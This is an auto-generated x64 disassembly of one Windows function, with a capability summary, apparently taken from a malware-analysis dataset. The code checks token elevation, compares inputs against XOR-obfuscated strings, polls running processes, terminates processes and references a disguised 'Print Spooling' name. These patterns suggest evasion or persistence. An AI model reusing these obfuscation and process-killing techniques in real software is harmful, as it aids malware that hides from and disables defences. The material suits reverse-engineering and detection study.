Function at 0x140002380
Capabilities:
Enumerate processes
Set current directory
Terminate process

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x788
lea rcx, [rsp + 0x190]
call fcn.140088879
mov rdx, qword [rsp + 0x1a0]
mov rcx, qword [rsp + 0x1a8]
cmp rdx, rcx
je 0x14000248a
lea rax, [rdx + 0x18]
mov qword [rsp + 0x1a0], rax
mov r8, qword [rdx]
test r8, r8
je 0x14000248d
mov r9, qword [rdx + 8]
mov rbp, qword [rdx + 0x10]
test rbp, rbp
je 0x140002460
add rbp, r8
mov rbx, r8
jmp 0x1400023f8
mov rbx, rdi
cmp rbx, rbp
je 0x140002460
lea rdi, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jns 0x1400023f0
add rbx, 2
cmp dl, 0xe0
jae 0x140002415
cmp rdi, rbp
cmove rbx, rdi
jmp 0x1400023f3
cmp dl, 0xed
jne 0x140002439
cmp rdi, rbp
cmove rbx, rdi
cmp rbx, rbp
je 0x140002460
add rbx, 1
cmp rdi, rbp
je 0x1400023f3
cmp byte [rdi], 0xa0
jb 0x1400023f3
jmp 0x1400040ef
cmp rdi, rbp
mov rsi, rbx
cmove rsi, rdi
xor ebx, ebx
cmp rsi, rbp
setne bl
add rbx, rsi
cmp dl, 0xf0
jb 0x1400023f3
xor edx, edx
cmp rbx, rbp
setne dl
add rbx, rdx
jmp 0x1400023f3
test r8, r8
je 0x14000248d
test r9, r9
je 0x14000248d
mov rcx, qword [0x140443578]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov rax, qword [rsp + 0x1a0]
mov rcx, qword [rsp + 0x1a8]
jmp 0x14000248d
mov rax, rdx
cmp rax, rcx
je 0x140003f79
lea rcx, [rax + 0x18]
mov qword [rsp + 0x1a0], rcx
mov r14, qword [rax]
test r14, r14
je 0x140003f79
mov rdi, qword [rax + 8]
mov r12, qword [rax + 0x10]
test r12, r12
je 0x140002549
lea rax, [r14 + r12]
mov rcx, r14
jmp 0x1400024d8
mov rcx, rdx
cmp rcx, rax
je 0x140002540
lea rdx, [rcx + 1]
movzx ebx, byte [rcx]
test bl, bl
jns 0x1400024d0
add rcx, 2
cmp bl, 0xe0
jae 0x1400024f5
cmp rdx, rax
cmove rcx, rdx
jmp 0x1400024d3
cmp bl, 0xed
jne 0x140002519
cmp rdx, rax
cmove rcx, rdx
cmp rcx, rax
je 0x140002540
add rcx, 1
cmp rdx, rax
je 0x1400024d3
cmp byte [rdx], 0xa0
jb 0x1400024d3
jmp 0x1400040ef
cmp rdx, rax
mov rbp, rcx
cmove rbp, rdx
xor ecx, ecx
cmp rbp, rax
setne cl
add rcx, rbp
cmp bl, 0xf0
jb 0x1400024d3
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x1400024d3
test r14, r14
je 0x140003f79
lea rax, [0x140096667]
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x1b0]
mov ecx, dword [rax + 0x2792]
mov al, byte [rax + 0x2796]
xor al, 0x70
mov edx, 0xfff0ea2a
xor rdx, rcx
mov byte [rsp + 0x124], al
mov dword [rsp + 0x120], edx
cmp r12, 5
jne 0x1400026bb
mov eax, dword [r14]
xor eax, dword [rsp + 0x120]
mov cl, byte [r14 + 4]
xor cl, byte [rsp + 0x124]
movzx ecx, cl
or ecx, eax
jne 0x1400026bb
lea rax, [0x1404431b0]
mov qword [rsp + 0x70], rax
mov rax, qword [0x1404431e0]
cmp rax, 3
jne 0x140003bf1
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x28]
mov dword [rsp + 0x410], 0
mov word [rsp + 0x414], 0
mov qword [rsp + 0x408], 7
mov qword [rsp + 0x3f0], 0
movaps xmm0, xmmword [0x1400986c0]
movups xmmword [rsp + 0x3f8], xmm0
lea rcx, [rsp + 0x70]
lea r9, [rsp + 0x3f0]
call fcn.1400893b8
cmp dword [rsp + 0x70], 1
jne 0x14000263c
movups xmm0, xmmword [rsp + 0x78]
movups xmmword [rsp + 0x1b8], xmm0
jmp 0x140002668
mov rsi, qword [rsp + 0x78]
lea rcx, [rsp + 0x1b0]
mov rdx, rsi
call fcn.140089238
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp dword [rsp + 0x1b0], 1
jne 0x1400040cf
cmp byte [rsp + 0x1b8], 3
jne 0x1400026bb
mov rsi, qword [rsp + 0x1c0]
mov rcx, qword [rsi]
mov rax, qword [rsi + 8]
call qword [rax]
mov rax, qword [rsi + 8]
cmp qword [rax + 8], 0
je 0x1400026aa
mov r8, qword [rsi]
cmp qword [rax + 0x10], 0x11
jb 0x14000269c
mov r8, qword [r8 - 8]
mov rcx, qword [0x140443578]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov rcx, qword [0x140443578]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
lea rcx, [rsp + 0x1b0]
call fcn.14008871a
cmp dword [rsp + 0x1b0], 1
je 0x1400040ef
mov r13, qword [rsp + 0x1b8]
mov rbp, qword [rsp + 0x1c0]
mov rsi, qword [rsp + 0x1c8]
mov qword [rsp + 0x1b0], 0
call sub.kernel32.dll_GetCurrentProcess
lea r8, [rsp + 0x1b0]
mov rcx, rax
mov edx, 8
call qword [sym.imp.advapi32.dll_OpenProcessToken]
test eax, eax
je 0x140003e8c
mov dword [rsp + 0x70], 0
mov dword [rsp + 0x3f0], 4
mov rcx, qword [rsp + 0x1b0]
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0x20], rax
lea rbx, [rsp + 0x70]
mov edx, 0x14
mov r8, rbx
mov r9d, 4
call qword [sym.imp.advapi32.dll_GetTokenInformation]
test eax, eax
je 0x140003e8c
cmp dword [rsp + 0x70], 0
je 0x140003e8c
mov rcx, r13
mov rdx, rsi
call fcn.14008ab00
test rax, rax
je 0x1400040ef
add rdx, rax
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], rdx
mov word [rsp + 0x1c0], 0
lea r15, [rsp + 0x3f0]
lea rdx, [rsp + 0x1b0]
mov rcx, r15
call fcn.14008626e
mov rdx, qword [rsp + 0x400]
cmp rdx, qword [rsp + 0x3f8]
jne 0x1400027e1
lea rcx, [rsp + 0x3f0]
call fcn.1400836d8
mov rdx, qword [rsp + 0x400]
mov rsi, qword [rsp + 0x3f0]
mov word [rsi + rdx*2], 0
add rdx, 1
mov qword [rsp + 0x400], rdx
mov rcx, rsi
call qword [sym.imp.kernel32.dll_SetCurrentDirectoryW]
test eax, eax
je 0x140002ba9
mov rax, qword [rsp + 0x3f8]
shl rax, 1
test rax, rax
jne 0x140002bc4
lea rax, [0x140095350]
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x1b0]
mov ecx, dword [rax + 0x3aae]
mov al, byte [rax + 0x3ab2]
xor al, 0xc5
mov edx, 0xdc9fc139
xor rdx, rcx
mov byte [rsp + 0x3f4], al
mov dword [rsp + 0x3f0], edx
cmp r12, 5
jne 0x140002882
mov eax, dword [r14]
xor eax, dword [rsp + 0x3f0]
mov cl, byte [r14 + 4]
xor cl, byte [rsp + 0x3f4]
movzx ecx, cl
or ecx, eax
je 0x140002bda
lea rax, [0x140098373]
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x1b0]
mov ecx, dword [rax + 0xa90]
movzx eax, word [rax + 0xa94]
xor eax, 0x6d25
xor rcx, 0x11a85054
mov dword [rsp + 0x3f0], ecx
mov word [rsp + 0x3f4], ax
cmp r12, 6
jne 0x1400028e9
mov eax, dword [r14]
xor eax, dword [rsp + 0x3f0]
movzx ecx, word [r14 + 4]
xor cx, word [rsp + 0x3f4]
movzx ecx, cx
or ecx, eax
je 0x140003f85
lea rax, [0x1400985c9]
mov qword [rsp + 0x3f0], rax
mov rax, qword [rsp + 0x3f0]
movabs rcx, 0xaff5d22dd2cc286d
xor rcx, qword [rax + 0x84a]
movzx eax, word [rax + 0x852]
xor eax, 0x6655
mov qword [rsp + 0x1b0], rcx
mov word [rsp + 0x1b8], ax
cmp r12, 0xa
jne 0x140002957
mov rax, qword [r14]
xor rax, qword [rsp + 0x1b0]
movzx ecx, word [r14 + 8]
xor cx, word [rsp + 0x1b8]
movzx ecx, cx
or rcx, rax
je 0x140002fa8
lea rax, [0x140092a74]
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x1b0]
mov ecx, dword [rax + 0x63c7]
movzx eax, word [rax + 0x63cb]
xor eax, 0x47a
mov edx, 0xf6a7806f
xor rdx, rcx
mov dword [rsp + 0x3f0], edx
mov word [rsp + 0x3f4], ax
cmp r12, 6
jne 0x1400029bf
mov eax, dword [r14]
xor eax, dword [rsp + 0x3f0]
movzx ecx, word [r14 + 4]
xor cx, word [rsp + 0x3f4]
movzx ecx, cx
or ecx, eax
je 0x140003530
lea rax, [0x140094654]
mov qword [rsp + 0x3f0], rax
mov rax, qword [rsp + 0x3f0]
movabs rcx, 0xc11c6ed36a922f0a
xor rcx, qword [rax + 0x47ed]
mov al, byte [rax + 0x47f5]
xor al, 0xb0
mov qword [rsp + 0x1b0], rcx
mov byte [rsp + 0x1b8], al
cmp r12, 9
jne 0x140003ab3
mov rax, qword [r14]
xor rax, qword [rsp + 0x1b0]
mov cl, byte [r14 + 8]
xor cl, byte [rsp + 0x1b8]
movzx ecx, cl
or rcx, rax
jne 0x140003ab3
lea rcx, [rsp + 0x1b0]
call fcn.140007450
cmp byte [rsp + 0x25a], 2
je 0x1400040ef
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x1b0]
mov r8d, 0xb0
call fcn.1400931b0
call fcn.140045ff0
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x28]
lea rsi, [rsp + 0x1b0]
mov rcx, rsi
call fcn.1400448b0
cmp dword [rsp + 0x1b0], 1
je 0x1400040ef
movups xmm0, xmmword [rsp + 0x1b8]
movups xmm1, xmmword [rsp + 0x1c8]
movaps xmmword [rsp + 0x570], xmm1
movaps xmmword [rsp + 0x560], xmm0
cmp byte [rsp + 0x11c], 0
je 0x140002aca
lea rdi, [rsp + 0x1b0]
mov rcx, rdi
call fcn.140009b60
mov rcx, rdi
call fcn.140001f40
call fcn.140004aa0
test al, al
jne 0x140002ae1
call fcn.14002e800
test rax, rax
jne 0x1400040ef
call fcn.140045400
mov rcx, qword [rax + 0x18]
mov rdx, qword [rax + 0x28]
call fcn.140085378
test rax, rax
je 0x1400040ef
mov rcx, rax
call fcn.140092390
call fcn.1400453a0
mov rcx, qword [rax + 0x18]
mov rdx, qword [rax + 0x28]
call fcn.140085378
test rax, rax
je 0x1400040ef
mov rcx, rax
call fcn.140092390
cmp byte [rsp + 0x11a], 0
je 0x14000417d
lea rdi, [rsp + 0x1b0]
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0x560]
mov rcx, rdi
call fcn.140005cc0
mov rcx, rdi
call fcn.14000b5b0
test al, al
je 0x14000417d
call fcn.140045400
mov rsi, rax
call fcn.140045460
mov rcx, qword [rsi]
mov rdx, qword [rsi + 0x10]
mov r8, qword [rax]
mov r9, qword [rax + 0x10]
call fcn.1400902cf
cmp al, 4
jne 0x1400040ef
call fcn.140045d10
lea rcx, [rax + 0x18]
call fcn.14000b030
mov rcx, rax
call fcn.14002dcc0
xor ecx, ecx
call fcn.14008fe7d
ud2
call qword [sym.imp.kernel32.dll_GetLastError]
mov rax, qword [rsp + 0x3f8]
shl rax, 1
test rax, rax
je 0x140002821
mov rcx, qword [0x140443578]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
jmp 0x140002821
call fcn.14003e770
cmp al, 4
jne 0x1400040ef
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], r13
call fcn.14002de70
lea rax, [0x140443178]
mov qword [rsp + 0x70], rax
mov rax, qword [0x1404431a8]
cmp rax, 3
jne 0x140003c30
mov r12, rbx
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rax + 0x28]
test rdx, rdx
je 0x140002cc2
lea rsi, [rcx + rdx]
mov rbp, rcx
jmp 0x140002c48
mov rbp, rbx
cmp rbp, rsi
je 0x140002cc2
lea rbx, [rbp + 1]
movzx eax, byte [rbp]
test al, al
jns 0x140002c40
cmp al, 0xe0
jae 0x140002c65
add rbp, 2
cmp rbx, rsi
cmove rbp, rbx
jmp 0x140002c43
cmp al, 0xed
jne 0x140002c8c
add rbp, 2
cmp rbx, rsi
cmove rbp, rbx
cmp rbp, rsi
je 0x140002cc2
add rbp, 1
cmp rbx, rsi
je 0x140002c43
cmp byte [rbx], 0xa0
jb 0x140002c43
jmp 0x1400040ef
mov r8, rdi
add rbp, 2
cmp rbx, rsi
mov rdi, rbp
cmove rdi, rbx
xor ebp, ebp
cmp rdi, rsi
setne bpl
add rbp, rdi
cmp al, 0xf0
jae 0x140002cb2
mov rdi, r8
jmp 0x140002c43
xor eax, eax
cmp rbp, rsi
setne al
add rbp, rax
mov rdi, r8
jmp 0x140002c43
mov r8b, 1
call fcn.140091f98
cmp rax, 1
jne 0x140002ce7
mov rsi, rdx
mov rcx, rdx
xor edx, edx
call qword [sym.imp.kernel32.dll_TerminateProcess]
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov cl, 1
call fcn.14003d000
lea rax, [0x1404431b0]
mov qword [rsp + 0x70], rax
mov rax, qword [0x1404431e0]
cmp rax, 3
mov rbp, qword [rsp + 0x50]
jne 0x140003c62
mov rsi, qword [rsp + 0x70]
add rsi, 0x18
lea rax, [0x1404430f0]
mov qword [rsp + 0x70], rax
mov rax, qword [0x140443100]
cmp rax, 3
mov r13, qword [rsp + 0x58]
jne 0x140003c94
mov rax, qword [rsp + 0x70]
mov r8, qword [rax]
mov r9, qword [rax + 8]
lea rcx, [rsp + 0x1b0]
mov rdx, rsi
call fcn.140008600
cmp qword [rsp + 0x1b0], 1
je 0x1400040ef
mov qword [rsp + 0x60], r14
lea rcx, [rsp + 0x1b0]
call fcn.140007450
cmp byte [rsp + 0x25a], 2
je 0x1400040ef
mov r14, qword [rsp + 0x1b0]
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x5a8], rax
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x5b8], rax
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x5b0], rax
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x5c8], rax
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x5c0], rax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x5d8], rax
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x5d0], rax
mov rbx, qword [rsp + 0x210]
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x5e0], rax
mov r15, qword [rsp + 0x228]
mov r12, qword [rsp + 0x240]
mov rsi, qword [rsp + 0x248]
test r15, r15
je 0x1400038bb
mov qword [rsp + 0x5a0], rsi
mov qword [rsp + 0x48], rdi
mov rdi, qword [rsp + 0x238]
mov rsi, rdi
inc rsi
sete cl
je 0x1400040ef
mov rbp, qword [rsp + 0x230]
mov eax, 1
test cl, cl
jne 0x140002ea3
mov rcx, qword [0x140443578]
test rcx, rcx
jne 0x140002e90
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x14000415f
mov rcx, rax
mov qword [0x140443578], rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x14000415f
mov qword [rsp + 0x598], rbp
lea rbp, [r15 + rdi]
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], rsi
mov qword [rsp + 0x1c0], 0
mov r8, rbp
sub r8, r15
inc r8
je 0x1400040ef
mov qword [rsp + 0x588], rbx
mov qword [rsp + 0x590], r12
cmp rsi, r8
jb 0x140003df4
xor r12d, r12d
lea rcx, [rax + r12]
mov r8, rbp
sub r8, r15
je 0x1400037ee
cmp rdi, 0x20
jb 0x140002f25
cmp rcx, rbp
jae 0x14000379b
lea rdx, [r12 + rdi]
add rdx, rax
cmp rdx, r15
jbe 0x14000379b
mov rsi, r15
mov edi, ebp
sub edi, esi
mov rax, rsi
not rax
add rax, rbp
and rdi, 7
je 0x140002f53
nop dword [rax + rax]
movzx edx, byte [rsi]
add rsi, 1
mov byte [rcx], dl
add rcx, 1
add rdi, 0xffffffffffffffff
jne 0x140002f40
cmp rax, 7
jb 0x1400037eb
nop dword [rax]
movzx eax, byte [rsi]
mov byte [rcx], al
movzx eax, byte [rsi + 1]
mov byte [rcx + 1], al
movzx eax, byte [rsi + 2]
mov byte [rcx + 2], al
movzx eax, byte [rsi + 3]
mov byte [rcx + 3], al
movzx eax, byte [rsi + 4]
mov byte [rcx + 4], al
movzx eax, byte [rsi + 5]
mov byte [rcx + 5], al
movzx eax, byte [rsi + 6]
mov byte [rcx + 6], al
movzx eax, byte [rsi + 7]
mov byte [rcx + 7], al
add rcx, 8
add rsi, 8
cmp rsi, rbp
jne 0x140002f60
jmp 0x1400037eb
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x60], r14
mov ecx, 0x1770
call qword [sym.imp.kernel32.dll_Sleep]
lea r15, [rsp + 0x1dc]
lea r12, [rsp + 0x1f6]
lea rax, [0x140090e47]
movabs rdx, 0x731e091c7abdf846
mov esi, 0xf587d042
lea rbp, [rsp + 0x1b0]
mov rdi, qword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
mov rbx, qword [sym.imp.kernel32.dll_Process32FirstW]
mov r14, qword [sym.imp.kernel32.dll_Process32NextW]
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rax + 0x7fd6]
xor rcx, rdx
mov edx, dword [rax + 0x7fde]
xor rdx, rsi
mov al, byte [rax + 0x7fe2]
xor al, 0x25
mov qword [rsp + 0x120], rcx
mov byte [rsp + 0x12c], al
mov dword [rsp + 0x128], edx
mov r8d, 0x238
mov rcx, rbp
xor edx, edx
call fcn.140092ff0
mov dword [rsp + 0x1b0], 0x238
mov ecx, 2
xor edx, edx
call rdi
mov rsi, rax
mov rcx, rax
mov rdx, rbp
call rbx
test eax, eax
jne 0x1400030b3
jmp 0x14000315b
xor r13d, r13d
cmp qword [rsp + 0x78], 0
je 0x1400030ae
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x140443578]
xor edx, edx
call sub.kernel32.dll_HeapFree
test r13b, r13b
jne 0x14000312c
mov rcx, rsi
mov rdx, rbp
call r14
test eax, eax
je 0x14000315b
mov qword [rsp + 0x3f0], r15
mov qword [rsp + 0x3f8], r12
mov word [rsp + 0x400], 0
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x3f0]
call fcn.14009103b
cmp qword [rsp + 0x80], 0xd
jne 0x140003090
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax]
mov rax, qword [rax + 5]
xor rcx, qword [rsp + 0x120]
xor rax, qword [rsp + 0x125]
or rax, rcx
sete r13b
cmp qword [rsp + 0x78], 0
jne 0x14000309b
jmp 0x1400030ae
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.kernel32.dll_Sleep]
lea rax, [0x140090e47]
movabs rdx, 0x731e091c7abdf846
mov esi, 0xf587d042
jmp 0x14000300a
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
lea rax, [0x140443300]
mov qword [rsp + 0x70], rax
mov rax, qword [0x140443330]
cmp rax, 3
mov r14, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x50]
jne 0x140003cc6
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rax + 0x28]
call fcn.140090215
cmp al, 3
jne 0x1400031e5
mov rsi, rdx
mov rcx, qword [rdx]
mov rax, qword [rdx + 8]
call qword [rax]
mov rax, qword [rsi + 8]
cmp qword [rax + 8], 0
je 0x1400031d4
mov r8, qword [rsi]
cmp qword [rax + 0x10], 0x11
jb 0x1400031c6
mov r8, qword [r8 - 8]
mov rcx, qword [0x140443578]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov rcx, qword [0x140443578]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
lea rcx, str.dll21Print_SpoolingMicrosoftWindowsWindowsUSERNAME0_
mov edx, 5
call fcn.140090215
cmp al, 3
jne 0x14000323e
mov rsi, rdx
mov rcx, qword [rdx]
mov rax, qword [rdx + 8]
call qword [rax]
mov rax, qword [rsi + 8]
cmp qword [rax + 8], 0
je 0x14000322d
mov r8, qword [rsi]
cmp qword [rax + 0x10], 0x11
jb 0x14000321f
mov r8, qword [r8 - 8]
mov rcx, qword [0x140443578]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov rcx, qword [0x140443578]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
lea rax, [0x1404431b0]
mov qword [rsp + 0x70], rax
mov rax, qword [0x1404431e0]
cmp rax, 3
jne 0x140003d05
mov rsi, qword [rsp + 0x70]
add rsi, 0x18
lea rax, [0x1404430f0]
mov qword [rsp + 0x70], rax
mov rax, qword [0x140443100]
cmp rax, 3
jne 0x140003d44
mov rax, qword [rsp + 0x70]
mov r8, qword [rax]
mov r9, qword [rax + 8]
lea rcx, [rsp + 0x1b0]
mov rdx, rsi
call fcn.140008600
cmp qword [rsp + 0x1b0], 1
je 0x1400040ef
lea rax, [0x140443338]
mov qword [rsp + 0x70], rax
mov rax, qword [0x140443368]
cmp rax, 3
jne 0x140003d83
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x28]
lea rcx, [rsp + 0x1b0]
call fcn.1400448b0
cmp dword [rsp + 0x1b0], 1
je 0x1400040ef
movups xmm0, xmmword [rsp + 0x1b8]
movups xmm1, xmmword [rsp + 0x1c8]
movaps xmmword [rsp + 0x400], xmm1
movaps xmmword [rsp + 0x3f0], xmm0
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x3f0]
xor edx, edx
mov r9b, 2
call fcn.140045090
mov qword [rsp + 0x1b0], rax
test rax, rax
je 0x140003347
lea rcx, [rsp + 0x1b0]
call fcn.140002020
mov rcx, qword [rsp + 0x3f0]
call qword [sym.imp.kernel32.dll_CloseHandle]
call fcn.14003e770
cmp al, 4
jne 0x1400040ef
lea rcx, [rsp + 0x1b0]
call fcn.140091263
cmp dword [rsp + 0x1b0], 1
je 0x1400040ef
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x420], rax
movups xmm0, xmmword [rsp + 0x1b8]
movups xmm1, xmmword [rsp + 0x1c8]
movups xmm2, xmmword [rsp + 0x1d8]
movaps xmmword [rsp + 0x410], xmm2
movaps xmmword [rsp + 0x400], xmm1
movaps xmmword [rsp + 0x3f0], xmm0
lea rax, [0x140095790]
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x1b0]
movabs rcx, 0xb61b4d1c21abb518
xor rcx, qword [rax + 0x369a]
mov qword [rsp + 0x70], rcx
movabs rcx, 0x4960867a28acfac0
xor rcx, qword [rax + 0x36a2]
mov qword [rsp + 0x78], rcx
mov al, byte [rax + 0x36aa]
xor al, 0xd
mov byte [rsp + 0x80], al
lea rcx, [rsp + 0x1b0]
lea rdx, [rsp + 0x3f0]
lea r8, [rsp + 0x70]
mov r9d, 0x11
call fcn.140091732
cmp qword [rsp + 0x1b0], 0
je 0x14000344d
mov rcx, qword [rsp + 0x1b8]
test rcx, rcx
je 0x14000344d
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rdi, qword [rsp + 0x420]
test rdi, rdi
je 0x1400040ef
lea rcx, [0x140098d45]
mov edx, 0xe
call fcn.140090678
mov rsi, rax
mov rax, qword [rdi]
mov rcx, rdi
mov rdx, rsi
xor r8d, r8d
call qword [rax + 0x78]
mov ebx, eax
test eax, eax
jns 0x140003491
mov ecx, ebx
call fcn.140090bf7
mov rdi, rax
test rsi, rsi
je 0x14000349f
mov rcx, rsi
call qword [sym.imp.oleaut32.dll_SysFreeString]
test ebx, ebx
jns 0x1400034b1
test rdi, rdi
je 0x1400034b1
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x3f0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x3f8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x400]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x408]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x410]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x418]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x420]
test rcx, rcx
mov r13, qword [rsp + 0x58]
je 0x14000351d
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rdi, qword [rsp + 0x48]
test rbp, rbp
jne 0x140003ab8
jmp 0x140003ac9
mov qword [rsp + 0x48], rdi
lea rdi, [0x1404431b0]
mov qword [rsp + 0x70], rdi
mov rax, qword [0x1404431e0]
cmp rax, 3
jne 0x140003dc2
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x28]
mov dword [rsp + 0x410], 0
mov word [rsp + 0x414], 0
mov qword [rsp + 0x408], 7
mov qword [rsp + 0x3f0], 0
movaps xmm0, xmmword [0x1400986c0]
movups xmmword [rsp + 0x3f8], xmm0
lea rbx, [rsp + 0x70]
lea r12, [rsp + 0x3f0]
mov rcx, rbx
mov r9, r12
call fcn.1400893b8
cmp dword [rsp + 0x70], 1
mov qword [rsp + 0x50], rbp
jne 0x1400035ce
movups xmm0, xmmword [rsp + 0x78]
movups xmmword [rsp + 0x1b8], xmm0
jmp 0x1400035f6
mov rsi, qword [rsp + 0x78]
lea rcx, [rsp + 0x1b0]
mov rdx, rsi
call fcn.140089238
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp dword [rsp + 0x1b0], 1
jne 0x140003655
cmp byte [rsp + 0x1b8], 3
jne 0x140003649
mov rsi, qword [rsp + 0x1c0]
mov rcx, qword [rsi]
mov rax, qword [rsi + 8]
call qword [rax]
mov rax, qword [rsi + 8]
cmp qword [rax + 8], 0
je 0x140003638
mov r8, qword [rsi]
cmp qword [rax + 0x10], 0x11
jb 0x14000362a
mov r8, qword [r8 - 8]
mov rcx, qword [0x140443578]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov rcx, qword [0x140443578]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov r15, rdi
mov cl, 1
call fcn.14003d000
jmp 0x140003658
mov r15, rdi
lea rcx, [rsp + 0x1b0]
call fcn.140091263
cmp dword [rsp + 0x1b0], 1
mov rbp, qword [rsp + 0x1b8]
je 0x140003a33
mov eax, dword [rsp + 0x1c0]
movups xmm0, xmmword [rsp + 0x1c4]
movups xmmword [rsp + 0x3fc], xmm0
movups xmm0, xmmword [rsp + 0x1d4]
movups xmmword [rsp + 0x40c], xmm0
movups xmm0, xmmword [rsp + 0x1e0]
movups xmmword [rsp + 0x418], xmm0
mov qword [rsp + 0x3f0], rbp
mov dword [rsp + 0x3f8], eax
lea r8, [0x140098d53]
lea rcx, [rsp + 0x1b0]
lea rdx, [rsp + 0x3f0]
mov r9d, 0x11
call fcn.140091732
cmp qword [rsp + 0x1b0], 0
je 0x14000373a
mov rcx, qword [rsp + 0x1b8]
test rcx, rcx
je 0x140003701
mov rax, qword [rcx]
call qword [rax + 0x10]
lea r8, str.PTM
lea rcx, [rsp + 0x1b0]
lea rdx, [rsp + 0x3f0]
mov r9d, 1
call fcn.140091732
cmp dword [rsp + 0x1b0], 1
jne 0x14000373a
mov rbp, qword [rsp + 0x1b8]
jmp 0x1400039cc
mov rbp, qword [rsp + 0x420]
test rbp, rbp
je 0x1400040ef
lea rcx, [0x140098d64]
mov edx, 7
call fcn.140090678
mov rsi, rax
mov qword [rsp + 0x1b0], 0
mov rax, qword [rbp]
lea r8, [rsp + 0x1b0]
mov rcx, rbp
mov rdx, rsi
call qword [rax + 0x68]
test eax, eax
js 0x1400039a5
mov rbp, qword [rsp + 0x1b0]
test rbp, rbp
sete bl
jmp 0x1400039b1
mov rbx, rdi
and rbx, 0xffffffffffffffe0
add rcx, rbx
lea rsi, [r15 + rbx]
add rax, r12
add rax, 0x10
xor edx, edx
nop word cs:[rax + rax]
nop dword [rax]
movups xmm0, xmmword [r15 + rdx]
movups xmm1, xmmword [r15 + rdx + 0x10]
movups xmmword [rax + rdx - 0x10], xmm0
movups xmmword [rax + rdx], xmm1
add rdx, 0x20
cmp rbx, rdx
jne 0x1400037c0
cmp rdi, rbx
mov r13, qword [rsp + 0x58]
jne 0x140002f28
add r12, r8
mov byte [rcx], 0
add r12, 1
mov qword [rsp + 0x1c0], r12
cmp qword [rsp + 0x1b8], r12
mov rdi, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
jbe 0x140003855
mov r8, qword [rsp + 0x1b0]
mov rcx, qword [0x140443578]
xor edx, edx
test r12, r12
je 0x140003843
mov r9, r12
call sub.kernel32.dll_HeapReAlloc
test rax, rax
jne 0x14000384d
mov edx, 1
mov rcx, r12
call fcn.1400949bf
ud2
call sub.kernel32.dll_HeapFree
mov eax, 1
mov qword [rsp + 0x1b0], rax
mov rsi, qword [rsp + 0x1b0]
xor ecx, ecx
mov rdx, rsi
xor r8d, r8d
mov r9d, 0x40010
call qword [sym.imp.user32.dll_MessageBoxA]
test rsi, rsi
je 0x140003887
